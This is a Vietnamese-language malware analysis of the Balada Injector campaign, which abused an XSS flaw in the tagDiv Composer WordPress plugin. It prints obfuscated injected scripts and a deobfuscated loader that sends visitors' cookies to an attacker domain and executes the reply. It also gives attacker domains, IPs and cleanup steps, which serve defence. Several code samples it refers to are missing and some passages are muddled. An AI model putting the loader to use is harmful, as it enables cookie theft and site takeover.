Vào giữa tháng 9 năm 2023, các nguồn tư vấn về lỗ hổng bảo mật đã tiết lộ thông tin chi tiết về Lỗ hổng XSS được lưu trữ trong tagDiv Composer (một plugin trình tạo trang hoạt động với các theme premium của tagDiv là Newspaper và Newsmag). Ngay sau đó, chúng tôi bắt đầu nhận thấy làn sóng tấn công mới của việc chèn nhiễm mã độc Balada vào các trang web đang sử dụng theme từ tagDiv.
Đây không phải là lần đầu tiên nhóm Balada Injector nhắm vào các lỗ hổng trong các theme của tagDiv. Một trong những đợt lây nhiễm phần mềm độc hại quy mô lớn sớm nhất mà chúng tôi có thể cho là liên quan đến chiến dịch này đã diễn ra vào mùa hè năm 2017, trong đó các lỗi bảo mật đã được phát hiện trong các theme WordPress như Newspaper và Newsmag đã bị lạm dụng một cách thường xuyên. Vào thời điểm đó, tagDiv đã báo cáo có hơn 40.000 người dùng trả phí (cộng với nhiều người dùng theme null, crack, không chính thống). Đến năm 2023, tagDiv tuyên bố có hơn 135.000 người dùng theme Newspaper bị tấn công.
Trong bài đăng này, chúng tôi sẽ xem xét các đợt tấn công lớn mới nhất của chiến dịch Balada Injector đang diễn ra này.
Phát hiện việc khai thác lỗ hổng tagDiv Composer
Dấu hiệu rõ ràng về việc khai thác lỗ hổng XSS mới được công bố gần đây trong tagDiv Composer là một tập lệnh độc hại được tìm thấy bên trong các thẻ này :
Có thể tìm thấy chính nội dung mã độc bị chèn trong tùy chọn “td_live_css_local_storage” trong wp_options của database website WordPress.
Phần 1: stay.decentralappps[.]com injections
Làn sóng tấn công đầu tiên của nhóm hacker Balada Injector tới các người dùng sử dụng theme Newspaper là chèn đoạn mã độc sau vào website WordPress.
Biến thể thứ hai của mã độc trên bắt đầu bằng:
Cả hai lần chèn mã độc đều tải tập lệnh bên ngoài từ hxxps://stay.decentralappps[.]com/src/page.js Tại tại thời điểm này, biến thể đầu tiên của việc chèn này được PublicWWW phát hiện trên trên 4.000 trang web và biến thể thứ hai trên Hơn 1.000 trang web.
Phát hiện dấu hiệu tấn công trong log website
Trong nhật ký (log) của các trang web bị xâm nhập, chúng tôi luôn tìm thấy POST request tới /wp-json/tdw /save_css từ các IP như 185.39.206.149, 91.191.151.43, 148.113.4.34, 92.205.27.126, v.v. Sử dụng chuỗi User-Agent khá lỗi thời này:
Cách tấn công khác ngoài việc chèn tập lệnh mã độc
Lỗ hổng bị khai thác chỉ cho phép kẻ tấn công chèn mã độc vào tùy chọn “td_live_css_local_storage” trong database WordPress để nó lan truyền đến mọi trang công khai của trang web bị xâm nhập. Mặc dù đây là mục tiêu cuối cùng của chiến dịch tấn công này, nhưng các hacker không bao giờ hài lòng với việc tấn công nhỏ giọt này. Không có gì đảm bảo rằng họ sẽ có thể tiếp tục khai thác các trang web bị xâm nhập sau khi lỗ hổng ban đầu được vá.
Các hacker Balada Injector luôn nhắm đến việc tấn công và kiểm soát liên tục các trang web bị xâm nhập bằng cách tải lên các backdoor, thêm plugin độc hại và tạo quản trị viên blog lừa đảo. Trong trường hợp này, lỗ hổng bảo mật không cho phép họ dễ dàng đạt được mục tiêu này. Tuy nhiên, điều này không bao giờ ngăn được Balada cố gắng chiếm lấy hoàn toàn các trang web đang tồn tại lỗ hổng XSS
Balada từ lâu đã nổi tiếng với việc chèn các tập lệnh độc hại nhắm vào các quản trị viên trang web đã đăng nhập. Ý đồ của họ là khi quản trị viên blog đăng nhập vào một trang web, trình duyệt của họ chứa các cookie cho phép họ thực hiện tất cả các tác vụ quản trị mà không cần phải xác thực trên mỗi trang mới. Vì vậy, nếu trình duyệt của họ tải một tập lệnh cố gắng mô phỏng hoạt động của quản trị viên, nó sẽ có thể thực hiện hầu hết mọi thứ có thể thực hiện được thông qua giao diện quản trị viên WordPress.
Trong lịch sử, Balada đã sử dụng phương pháp này để tạo ra những người dùng quản trị viên WordPress lừa đảo. Đợt tấn công mới nhất này cũng không khác. Tuy nhiên, lần này chúng tôi đã quan sát thấy sự phát triển nhanh chóng của các tập lệnh nhắm mục tiêu vào quản trị viên WordPress.
Phần 2: Các người dùng WordPress được tạo đự động
Lần phát hiện đầu tiên của tập lệnh stay.decentralappps[.]com/src/page.js đã tạo ra một người dùng độc hại với user_login=greeceman and user_email=greeceman@mail.com. Điều này ban đầu được ghi lại trên greeceman@mail.com và user_email=greeceman. Điều này ban đầu được phát hiện và công bố trên GeoEdge blog.
Tên người dùng greeceman này giống nhau cho mọi miền bị xâm nhập, vì vậy bạn có thể dễ dàng tìm thấy nhiều trang web chứa quản trị viên độc hại này bằng cách sử dụng truy vấn Google sau đây : [greeceman inurl:author]. Phân tích nhanh kết quả tìm kiếm cho thấy các trang web có sử dụng theme Newspaper và nhiều trang trong số đó vẫn bị nhiễm phần mềm độc hại Balada.
Tuy nhiên, một vài ngày sau, tập lệnh page.js đã thay đổi. Và lần này, tên người dùng và email của quản trị viên lừa đảo đã được tạo tự động để khiến chúng trở nên độc đáo hơn (có thể là một thủ đoạn lẩn tránh).
Đây là mã liên quan từ phần mềm độc hại đã được giải mã:
Như bạn có thể thấy, vẫn có một mẫu trong tên người dùng và email được tạo. Chúng được xây dựng bằng cách thêm 4 ký tự đầu tiên của tên hostname của trang web bị nhiễm (không có phần “www.” và tất cả các dấu chấm được thay thế bằng ký tự “u”) tới từ “mann”, email của người dùng có cùng tên username @mail.com
Hãy minh họa điều này một chút với ba ví dụ sau:
- Nếu tên máy chủ của trang web bị xâm phạm là www.example.com hoặc example.com thì cặp tên người dùng/email được tạo sẽ là: Exammann/exammann@mail.com.
- Đối với blog.example.com, quản trị viên độc hại sẽ là: blogmann/blogmann@mail.com
- Đối với miền giả định ab.xy, quản trị viên độc hại sẽ là: abuxmann/abuxmann@mail.com
Trong mọi trường hợp, mật khẩu của những quản trị viên độc hại này được tạo ngẫu nhiên cho mỗi trang web để bất kỳ ai khác không thể dễ dàng lạm dụng chúng ngoại trừ những người vận hành Balada Injector. Những kẻ tấn công lấy được mật khẩu thông qua Ajax POST request tới stock.decentralappps[.]com/dest.php?z=z mà tập lệnh độc hại thực thi sau khi tạo thành công người dùng.
Phần 3: Backdoor trong file 404.php của theme Newspaper
Phần 4: Cài đặt plugin wp-zexit độc hại
Vài ngày sau đó, khoảng ngày 17-18 tháng 9 năm 2023, tập lệnh stay.decentralappps[.]com/src/page.js vẫn chứa mã để đưa cửa sau vào tệp 404.php nhưng không thể thực thi được nữa.
return; được đặt ngay trước đó như sau:
Hành vi của plugin WP-zexit
Plugin này có hai chức năng báo cáo sự hiện diện của nó thông qua giao diện WordPress Ajax (/wp-admin/admin-ajax.php). Lệnh zexit_adm cũng có thể được sử dụng để xác minh rằng người dùng hiện tại có thể “quản lý các tùy chọn” – đó là một cách khác để thông báo cho những kẻ tấn công rằng quản trị viên đang thực thi tập lệnh. Phản hồi cho lệnh này được kiểm tra bằng mã độc sau đây để ngăn việc cài đặt định kỳ của cùng một plugin:
Phần 5: Ba tên miền mới của nhóm hacker Balada Injector
Vào ngày 21 tháng 9 năm 2023, nhóm hacker Balada Injector đã đăng ký ba tên miền mới trong khoảng thời gian 7 giây:
- statisticscripts[.]com
- dataofpages[.]com
- listwithstats[.]com
Vài giờ sau, họ bắt đầu một đợt lây nhiễm phần mềm độc hại khác bằng cách sử dụng cùng lỗ hổng tagDiv Composer trong chủ đề Báo.
Nhưng lần này, những kẻ tấn công quyết định ngẫu nhiên hóa mọi khía cạnh của cuộc tấn công, từ các tập lệnh được chèn vào đến các URL độc hại và mã mà chúng đã tải.
Mã độc được chèn ngẫu nhiên vào tdw-css-placeholder
Vị trí chèn mã độc không thay đổi trong phần 5 — phần mềm độc hại vẫn được chèn vào bên trong các thẻ này:
Và nó vẫn có thể được tìm thấy trong tùy chọn td_live_css_local_storage trong database của website WordPress. Tuy nhiên, mã được chèn thực tế hiện nay đã khác nhau đối với từng trang web bị nhiễm.
Các tập lệnh độc hại được phân phát từ nhiều tên miền phụ
- first.dataofpages[.]com/stats/step.js
- cdn.dataofpages[.]com/assets/post.js
- one.dataofpages[.]com/assets/post.js
- cdn.statisticscripts[.]com/assets/step.js
- js.statisticscripts[.]com/stats/post.js
- assets.statisticscripts[.]com/sources/start.js
- post.listwithstats[.]com/assets/get.js
- page.listwithstats[.]com/sources/cdn.js
- new.listwithstats[.]com/assets/post.js
- ….
Các tập lệnh được tải từ các URL này trông khác với các đợt trước — và đôi khi có thể được tìm thấy bị hoán đổi cho các tập lệnh khác vào ngày hôm sau.
Trong hầu hết các trường hợp, chúng tôi nhận thấy các tập lệnh lớn bị xáo trộn (đôi khi dài tới vài trăm kilobyte). Sau khi giải mã, tất cả chúng đều chứa cùng một mã quen thuộc (khá ngắn) tấn công quản trị viên của các trang web bị nhiễm và cố gắng cài đặt plugin wp-zexit độc hại.
Phần 6: Tên miền promsmotion[.]com
Nội dung này thường có thể được tìm thấy ở phần đầu của các tệp .js như:
- /wp-includes/js/jquery/jquery-migrate.min.js
- /wp-includes/js/jquery/jquery.min.js
- /wp-includes/js/wp-emoji-release.min.js.
Loại chèn thứ hai có thể được tìm thấy ở các vị trí tương tự, nhưng nó lớn hơn một chút (khoảng 8 Kbyte) và sử dụng kiểu che giấu Obfuscator.io. Việc tiêm thuốc này được phát hiện trên 76 website.
function _0x5345(){var _0x18bdde=['select_trace','currentScript','204534XMqqPb','head','928NMwdhD', …skipped… return Boolean(document[_0x4c793f(0x180)]('script[id="select_trace"]'));}var script=document[_0x4145f8(0x17a)]('script'),co=atob(_0x4145f8(0x176));script['innerHTML']=co,script['id']=_0x4145f8(0x185);cccc()==![]&&(document[_0x4145f8(0x186)]?document[_0x4145f8(0x186)][_0x4145f8(0x183)][_0x4145f8(0x17f)](script,document[_0x4145f8(0x186)]):document['getElementsByTagName'](_0x4145f8(0x188))[0x0]['appendChild'](script));/*_0x1bf7*/
Kiểu chèn thứ ba cũng dựa trên thư viện Obfuscator.io nhưng nó lớn hơn đáng kể so với hai kiểu trước – dài gần 80 Kbyte. Nó có thể được tìm thấy ở đầu trang WordPress và phản hồi lỗi 404. PublicWWW phát hiện biến thể này trên 67 trang web.
<script type='text/javascript'>(function(_0x1c6f70,_0x55c073){function _0x2654e0(_0x1eba9b,_0x2d3d60,_0x1d9239,_0x3f6f52,_0x4187cd) …skipped 70+ Kbytes of code … (script,document[_0x118979('kWNk',0x9ce,0x776,0x8d3,0x9ae)+_0x16c6a7(0x244,0x1a3,0x11a,'t!U^',-0x7f)+_0x3bc47c(0x46f,0x38d,0x4ce,'oso8',0x6cf)]));</script><!doctype html >
Bất chấp sự khác biệt về kỹ thuật làm rối mã nguồn và độ dài tập lệnh, mã được giải mã nguồn cho cả ba lần chèn này đều rất ngắn và gần như giống nhau:
var requestURL = "hxxps://get.promsmotion[.]com/fill"; var pars="d="+window.location.hostname+"&c="+btoa(encodeURIComponent(document.cookie)); ajaxRequest = new XMLHttpRequest(); ajaxRequest.open("POST", requestURL, false); ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajaxRequest.send(pars); if(ajaxRequest.responseText.indexOf("ytruytityieter-") !== -1){ const myArray = ajaxRequest.responseText.split("ytruytityieter-"); var io = myArray[1]; eval(io); }
Cơ sở hạ tầng Balada Injector: tháng 9 năm 2023
Dưới đây là các miền và địa chỉ IP Balada Injector chính được phát hiện trong tháng 9 năm 2023 — một số trong số đó cũng được sử dụng trong các cuộc tấn công không liên quan trực tiếp đến theme Newspaper.
Các tên miền của Balada Injector:
- decentralappps[.]com
- statisticscripts[.]com
- dataofpages[.]com
- listwithstats[.]com
- promsmotion[.]com
- stablelightway[.]com
- specialtaskevents[.]com
- getmygateway[.]com
- stratosbody[.]com
- specialnewspaper[.]com
- 2.59.222.113
- 2.59.222.119
- 2.59.222.121
- 2.59.222.122
- 2.59.222.158
- 185.39.206.158
- 185.39.206.159
- 185.39.206.160
- 185.39.206.161
- 80.66.79.252
- 80.66.79.253
- 88.151.192.253
- 88.151.192.254
- 89.23.103.32
- 89.23.103.246
Cách giảm thiểu sự tấn công
2. Quét trang web của bạn và xóa tất cả phần mềm độc hại Balada được tiêm vào. Trình quét SiteCheck phát hiện hầu hết các biến thể Balada Injector dưới dạng malware.injection?35.*. Nếu bạn tiếp tục thực hiện các bước sau trước khi xóa hoàn toàn phần mềm độc hại, nó có thể lây nhiễm lại trang web của bạn khi bạn đăng nhập với tư cách quản trị viên.
- Loại bỏ những mã độc chèn ban đầu, có thể tìm thấy trong tùy chọn “td_live_css_local_storage” trong bảng wp_options.
- Loại bỏ các nội dung chèn thứ cấp, có thể tìm thấy ở đầu tệp .js như /wp-includes/js/jquery/jquery-migrate.min.js, /wp-includes/js/jquery/jquery.min.js và /wp -includes/js/wp-emoji-release.min.js.
- Kiểm tra các tệp như index.php, wp-blog-header.php và các tệp header.php và footer.php trong chủ đề của bạn để biết nội dung chèn. Loại bỏ bất kỳ mã độc hại nào bạn tìm thấy ở đó.
9. Quét toàn bộ trang web của bạn để tìm backdoor. Không có gì lạ khi Balada Injector và các cuộc tấn công khác sử dụng backdoor ban đầu để tải một số backdoor khác vào các tệp ngẫu nhiên.
- Mặc dù quản trị viên WordPress có thể đăng bài, vui lòng chỉ sử dụng tài khoản quản trị viên của bạn cho các tác vụ quản trị. Thay vào đó, hãy sử dụng các vai trò thích hợp hơn như tác giả, cộng tác viên và biên tập viên để tạo, chỉnh sửa và đăng nội dung.
- Nếu bạn đăng nhập với tư cách quản trị viên WordPress, hãy cố gắng không duyệt trang web của riêng bạn trong cùng một trình duyệt trước khi đăng xuất. Hacker Balada sử dụng kịch bản này để khiến quản trị viên trang web lây nhiễm thêm vào trang web của chính họ. Nếu bạn cần kiểm tra các trang trên trang web, hãy cân nhắc sử dụng một trình duyệt khác hoặc cửa sổ riêng tư/ẩn danh của cùng một trình duyệt, nơi bạn sẽ điều hướng mà không bị xác định là quản trị viên trang web.
-
Nếu bạn thường không chỉnh sửa tệp theme và plugin, vui lòng tắt trình chỉnh sửa chủ đề và plugin trong giao diện quản trị viên WordPress. Để thực hiện việc này, hãy thêm dòng sau vào tệp wp-config.php:
define('DISALLOW_FILE_EDIT', true);
define( 'DISALLOW_FILE_MODS', true);
RewriteEngine On RewriteCond %{HTTP_USER_AGENT} "curl/7.54.1|curl/7.68.0" [NC] RewriteRule .* - [F,L]
– Chặn từ nginx
if ($http_user_agent ~ (curl/7.54.1|curl/7.68.0) ) { return 403; }